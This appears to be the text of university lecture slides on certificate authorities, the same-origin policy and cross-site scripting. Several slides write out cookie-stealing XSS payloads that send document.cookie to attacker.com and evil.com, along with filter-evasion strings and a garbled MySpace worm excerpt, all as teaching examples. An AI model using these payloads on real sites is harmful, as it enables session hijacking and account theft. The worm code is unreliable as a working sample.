Announcements / Plan

• Monday (2/20): No class
• Wednesday (2/22): Zoom
• Friday (2/24): Guest Lecture: Alex Gantman (Qualcomm) (On Zoom)
Review: SSL/TLS High Level

- SSL/TLS consists of two protocols
  - Familiar pattern for key exchange protocols
- Handshake protocol
  - Use public-key cryptography to establish a shared secret key between the client and the server
- Record protocol
  - Use the secret symmetric key established in the handshake protocol to protect communication between the client and the server
Review: Example of a Certificate
• Single CA certifying every public key is impractical
• Instead, use a trusted root authority (e.g., Verisign)
  – Everybody must know the root’s public key
  – Instead of single cert, use a certificate chain
    • $\text{sig}_{\text{Verisign}}(\text{“AnotherCA”}, \text{PK}_{\text{AnotherCA}})$,
    $\text{sig}_{\text{AnotherCA}}(\text{“Alice”}, \text{PK}_A)$
  – Not shown in figure but important:
    • Signed as part of each cert is whether party is a CA or not
  – What happens if root authority is ever compromised?
Review: Trusted(?) Certificate Authorities
Many Challenges...

• Hash collisions
• Weak security at CAs
  – Allows attackers to issue rogue certificates
• Users don’t notice when attacks happen
  – We’ll talk more about this later in the course
• How do you revoke certificates?
# Colliding Certificates

<table>
<thead>
<tr>
<th>Serial Number</th>
<th>Validity Period</th>
<th>Domain Name</th>
<th>RSA Key</th>
<th>X.509 Extensions</th>
<th>Signature</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Real Cert</strong></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td><strong>Rogue Cert</strong></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

- **Hash to the same MD5 value!**
- **Valid for both certificates!**

- **Collision bits** (computed)
- **Identical bytes** (copied from real cert)

[Sotirov et al. “Rogue Certificates”](#)
Attacking CAs

Security of DigiNotar servers:
- All core certificate servers controlled by a single admin password (Pr0d@dm1n)
- Software on public-facing servers out of date, unpatched
- No anti-virus (could have detected attack)
Consequences

• Attacker needs to first divert users to an attacker-controlled site instead of Google, Yahoo, Skype, but then...
  – For example, use DNS to poison the mapping of mail.yahoo.com to an IP address
• … “authenticate” as the real site
• … decrypt all data sent by users
  – Email, phone conversations, Web browsing
More Rogue Certs

• In Jan 2013, a rogue *.google.com certificate was issued by an intermediate CA that gained its authority from the Turkish root CA TurkTrust
  – TurkTrust accidentally issued intermediate CA certs to customers who requested regular certificates
  – Ankara transit authority used its certificate to issue a fake *.google.com certificate in order to filter SSL traffic from its network
• This rogue *.google.com certificate was trusted by every browser in the world
• There are plenty more stories like this…
Certificate Revocation

• Revocation is very important

• Many valid reasons to revoke a certificate
  – Private key corresponding to the certified public key has been compromised
  – User stopped paying their certification fee to this CA and CA no longer wishes to certify them
  – CA’s private key has been compromised!

• Expiration is a form of revocation, too
  – Many deployed systems don’t bother with revocation
  – Re-issuance of certificates is a big revenue source for certificate authorities
Certificate Revocation Mechanisms

• Certificate revocation list (CRL)
  - CA periodically issues a signed list of revoked certificates
    • Credit card companies used to issue thick books of canceled credit card numbers
  - Can issue a “delta CRL” containing only updates

• Online revocation service
  - When a certificate is presented, recipient goes to a special online service to verify whether it is still valid
    • Like a merchant dialing up the credit card processor
Attempt to Fix CA Problems:

Certificate Transparency

• **Problem:** browsers will think nothing is wrong with a rogue certificate until revoked

• **Goal:** make it impossible for a CA to issue a bad certificate for a domain *without the owner of that domain knowing*

• **Approach:** auditable certificate logs
  – Certificates published in public logs
  – Public logs checked for unexpected certificates

www.certificate-transparency.org
Attempt to Fix CA Problems:

Certificate Pinning

• **Trust on first access:** tells browser how to act on subsequent connections

• HPKP – HTTP Public Key Pinning
  – Use these keys!
  – HTTP response header field “Public-Key-Pins”

• HSTS – HTTP Strict Transport Security
  – Only access server via HTTPS
  – HTTP response header field "Strict-Transport-Security"
Big Picture: Browser and Network

Browser

OS

Hardware

Network

request

reply

website
Where Does the Attacker Live?

Mitigation: SSL/TLS (not covered further)

Mitigation: Browser security model + web app security (next)
Two Sides of Web Security

(1) Web browser
   – Responsible for securely confining content presented by visited websites

(2) Web applications
   – Online merchants, banks, blogs, Google Apps ...
   – Mix of server-side and client-side code
     • Server-side code written in PHP, JavaScript, C++ etc.
     • Client-side code written in JavaScript (... sort of)
   – Many potential bugs: XSS, XSRF, SQL injection
But at least 3 actors!
Browser: All of These Should Be Safe

• Safe to visit an evil website

• Safe to visit two pages  
  – Simultaneously  
  – Sequentially

• Safe delegation
Browser Security Model

Goal 1: Protect local system from web attacker

→ Browser Sandbox

Goal 2: Protect/isolate web content from other web content

→ Same Origin Policy
Goals: (1) Protect local system from web attacker; (2) Protect websites from each other

- E.g., safely execute JavaScript provided by a website
- No direct file access, limited access to OS, network, browser data, content from other websites
- Tabs (new(ish): also iframes!) in their own processes
- Implementation is browser and OS specific*

*For example, see: https://chromium.googlesource.com/chromium/src/+/master/docs/design/sandbox.md

<table>
<thead>
<tr>
<th>High-quality report with functional exploit</th>
</tr>
</thead>
<tbody>
<tr>
<td>Sandbox escape / Memory corruption in a non-sandboxed process</td>
</tr>
</tbody>
</table>

From Chrome Bug Bounty Program
Same Origin Policy

Goal: Protect/isolate web content from other web content

Website origin = (scheme, domain, port)

<table>
<thead>
<tr>
<th>Compared URL</th>
<th>Outcome</th>
<th>Reason</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.example.com/dir/page.html">http://www.example.com/dir/page.html</a></td>
<td>Success</td>
<td>Same protocol and host</td>
</tr>
<tr>
<td><a href="http://www.example.com/dir2/other.html">http://www.example.com/dir2/other.html</a></td>
<td>Success</td>
<td>Same protocol and host</td>
</tr>
<tr>
<td><a href="http://www.example.com:81/dir/other.html">http://www.example.com:81/dir/other.html</a></td>
<td>Failure</td>
<td>Same protocol and host but different port</td>
</tr>
<tr>
<td><a href="https://www.example.com/dir/other.html">https://www.example.com/dir/other.html</a></td>
<td>Failure</td>
<td>Different protocol</td>
</tr>
<tr>
<td><a href="http://en.example.com/dir/other.html">http://en.example.com/dir/other.html</a></td>
<td>Failure</td>
<td>Different host</td>
</tr>
<tr>
<td><a href="http://example.com/dir/other.html">http://example.com/dir/other.html</a></td>
<td>Failure</td>
<td>Different host (exact match required)</td>
</tr>
<tr>
<td><a href="http://v2.www.example.com/dir/other.html">http://v2.www.example.com/dir/other.html</a></td>
<td>Failure</td>
<td>Different host (exact match required)</td>
</tr>
</tbody>
</table>

[Example from Wikipedia]
Same Origin Policy is Subtle!

• Browsers don’t (or didn’t) always get it right...

• Lots of cases to worry about it:
  – DOM / HTML Elements
  – Navigation
  – Cookie Reading
  – Cookie Writing
  – Iframes vs. Scripts
HTML + DOM + JavaScript

<html>  
<body>  
<h1>This is the title</h1>  
<div>  
<p>This is a sample page.</p>  
<script>alert(“Hello world”);</script>  
<iframe src="http://example.com">  
</iframe>  
</div>  
</body>  
</html>
**Same-Origin Policy: DOM**

Only code from same origin can **access HTML elements** on another site (or in an iframe).

- **www.bank.com** (the parent) **can** access HTML elements in the iframe (and vice versa).
- **www.evil.com** (the parent) **cannot** access HTML elements in the iframe (and vice versa).

```html
<html>
  <body>
    <iframe src="http://www.bank.com/iframe.html">
    </iframe>
  </body>
</html>
```
Browser Cookies

- HTTP is stateless protocol
- Browser cookies are used to introduce state
  - Websites can store small amount of info in browser
  - Used for authentication, personalization, tracking...
  - Cookies are often secrets

POST login.php
username and pwd

HTTP Header: Set-cookie:
  login_token=13579;
domain = (who can read);
expires = (when expires)

GET restricted.html
Cookie: login_token=13579
Same Origin Policy: Cookie Reading

- Websites can only read/receive cookies from the same domain
  - Can’t steal login token for another site 😊

![Diagram showing the Same Origin Policy]

www.email.com

www.ad.com

www.email.com’s cookie

Email.com’s Server

www.ad.com’s cookie

Ad.com’s Server
Same-Origin Policy: Scripts

• When a website **includes a script**, that script runs in the context of the embedding website.

```html
<script src="http://otherdomain.com/library.js"></script>
```

The code from [http://otherdomain.com](http://otherdomain.com) can access HTML elements and cookies on [www.example.com](http://www.example.com).

• If code in script sets cookie, under what origin will it be set?
• What could possibly go wrong...?
Foreshadowing:

SOP Does Not Control Sending

• A webpage can **send** information to any site
• Can use this to send out secrets...
Example: Cookie Theft

• Cookies often contain authentication token
  – Stealing such a cookie == accessing account

• Cookie theft via malicious JavaScript
  
  <a href="#" onclick="window.location='http://attacker.com/steal.php?cookie='+document.cookie; return false;">Click here!</a>

• Aside: Cookie theft via network eavesdropping
  – Cookies included in HTTP requests
  – One of the reasons HTTPS is important!
Stepping Back

• Browser security model
  – Same origin policy: isolate web content from different domains
  – Later: More on browser sandbox, and isolation for plugins and extensions

• Web application security (next + Lab2)
  – How (not) to build a secure website
Web Application Security:
How (Not) to Build a Secure Website
Dynamic Web Application

GET / HTTP/1.1

HTTP/1.1 200 OK

index.php

Database server

Web server
OWASP Top 10 Web Vulnerabilities (5/2021)

1. Injection
2. Broken Authentication
3. Sensitive Data Exposure
4. XML External Entities (XXE)
5. Broken Access Control
6. Security Misconfiguration
7. **Cross-Site Scripting (XSS)**
8. Insecure Deserialization
9. Using Components with Known Vulnerabilities
10. Insufficient Logging and Monitoring
Cross-Site Scripting (XSS)
PHP: Hypertext Processor

• Server scripting language with C-like syntax
• Can intermingle static HTML and code
  
  \[
  \text{<input value=\texttt{<?php echo $myvalue; ?>}>}
  \]

• Can embed variables in double-quote strings
  \[
  \text{
  $user = "world"; echo "Hello $user!";}
  \]
  
  \[
  \text{or $user = "world"; echo "Hello . $user . "!";}
  \]

• Form data in global arrays \$_GET, \$_POST, ...
Echoing / “Reflecting” User Input

Classic mistake in server-side applications


search.php responds with
<html> <title>Search results</title> 
<body>You have searched for <?php echo $_GET['term'] ?>… </body>
Echoing / “Reflecting” User Input

naive.com/hello.php?name=User

Welcome, dear User


Welcome, dear
Cross-Site Scripting (XSS)

Access some web page

\[
\text{<iframe src=}
http://naive.com/hello.cgi?
\text{name=script>win.open(}
\text{“http://evil.com/steal.php?
\text{cookie= +document.cookie})}
\text{</script>}
\]

Forces victim’s browser to call hello.cgi on naive.com with this script as “name”

GET/steal.php?cookie=

Interpreted as JavaScript by victim’s browser; opens window and calls steal.cgi on evil.com

GET/hello.cgi?name=

\[
\text{<script>win.open( “http://}
\text{evil.com/steal.php?cookie=” +}
\text{document.cookie)</script>}
\]

Hello, dear

\[
\text{<script>win.open(“http://}
\text{evil.com/steal.php?cookie=” +}
\text{document.cookie)}</script>}
\]

Welcome!</HTML>
Basic Pattern for Reflected XSS

Injected script can manipulate website to show bogus information, leak sensitive data, cause user’s browser to attack other websites. This violates the “spirit” of the same origin policy!
Reflected XSS

• User is tricked into visiting an honest website
  – Phishing email, link in a banner ad
• Bug in website code causes it to echo to the user’s browser an arbitrary attack script
  – The origin of this script is now the website itself!
• Script can manipulate website contents (DOM) to show bogus information, request sensitive data, control form fields on this page and linked pages, cause user’s browser to attack other websites
  – This violates the “spirit” of the same origin policy
**Stored XSS**

1. **Inject malicious script**
   - Server victim
   - Store bad stuff

2. **request content**
   - User victim
   - Users view or download content

3. **receive malicious script**
   - User victim
   - Users view or download content

4. **steal valuable data**
   - Attack server

CSE 484 - Winter 2023
Where Malicious Scripts Lurk

• User-created content
  – Social sites, blogs, forums, wikis

• When visitor loads the page, website displays the content and visitor’s browser executes the script
  – Many sites try to filter out scripts from user content, but this is difficult!
Preventing Cross-Site Scripting

• Any user input and client-side data must be preprocessed before it is used inside HTML
• Remove / encode HTML special characters
  – Use a good escaping library
    • OWASP ESAPI (Enterprise Security API)
    • Microsoft’s AntiXSS
  – In PHP, htmlspecialchars(string) will replace all special characters with their HTML codes
    • ‘ becomes &amp; #039; “ becomes &quot; & & becomes &amp;
  – In ASP.NET, Server.HtmlEncode(string)
Evading Ad Hoc XSS Filters

• Preventing injection of scripts into HTML is hard! → Use standard APIs
  – Blocking “<” and “>” is not enough
  – Event handlers, stylesheets, encoded inputs (%3C), etc.
  – phpBB allowed simple HTML tags like <b>
    
    `<b c="">" onmouseover="script" x="<b >">Hello<b>`
  
• Beware of filter evasion tricks (XSS Cheat Sheet)
  – If filter allows quoting (of <script>, etc.), beware of malformed quoting:
    `<IMG """">"<SCRIPT>alert("XSS")</SCRIPT>"`
  – Long UTF-8 encoding
  – Scripts are not only in <script>:
    `<iframe src='https://bank.com/login’ onload='steal()'>`
MySpace Worm (1)

- Users can post HTML on their MySpace pages
- MySpace does not allow scripts in users’ HTML
  - No <script>, <body>, onclick, <a href=javascript://>
- ... but does allow <div> tags for CSS.
  - <div style="background:url(‘javascript:alert(1)’)">
- But MySpace will strip out “javascript”
  - Use “java<NEWLINE>script” instead
- But MySpace will strip out quotes
  - Convert from decimal instead:
    alert('double quote: ' + String.fromCharCode(34))

https://samy.pl/myspace/tech.html
MySpace Worm (2)

Resulting code:

```html
<div id=mycode style="BACKGROUND: url('javascript:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){if(C) else {return eval('document.body.innerHTML')} } function getData(AU){M=getFromURL(AU['Mytoken']); function getQueryParams(){} var F=document.location.search;var P=F.substring(1,F.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]} var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getFromURL(AU)]]></DIV>
```
MySpace Worm (3)

• “There were a few other complications and things to get around. This was not by any means a straight forward process, and none of this was meant to cause any damage or [make anyone angry]. This was in the interest of..interest. It was interesting and fun!”

• Started on “samy” MySpace page

• Everybody who visits an infected page, becomes infected and adds “samy” as a friend and hero

• 5 hours later “samy” has 1,005,831 friends
  – Was adding 1,000 friends per second at its peak

https://samy.pl/myspace/tech.html